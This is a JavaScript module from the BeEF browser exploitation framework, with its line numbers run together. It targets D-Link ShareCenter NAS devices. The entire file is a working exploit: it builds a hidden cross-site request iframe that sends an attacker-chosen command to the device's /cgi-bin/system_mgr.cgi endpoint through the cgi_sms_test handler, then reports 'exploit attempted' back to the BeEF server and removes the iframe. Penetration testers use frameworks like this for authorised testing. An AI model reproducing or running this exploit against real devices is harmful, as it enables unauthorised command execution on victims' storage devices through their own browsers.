Path: blob/master/modules/exploits/nas/dlink_sharecenter_cmd_exec/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78var gateway = '<%= @base %>';9var path = '/cgi-bin/system_mgr.cgi';10var cmd = '<%= @cmd.gsub(/'/, "\\\'").gsub(/"/, '\\\"') %>';11var timeout = 15;1213var dlink_sharecenter_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + path, "GET", "application/x-www-form-urlencoded", [14{'type':'hidden', 'name':'cmd', 'value':'cgi_sms_test'},15{'type':'hidden', 'name':'command1', 'value':cmd}16]);1718beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");1920cleanup = function() {21document.body.removeChild(dlink_sharecenter_iframe_<%= @command_id %>);22}23setTimeout("cleanup()", timeout*1000);2425});26272829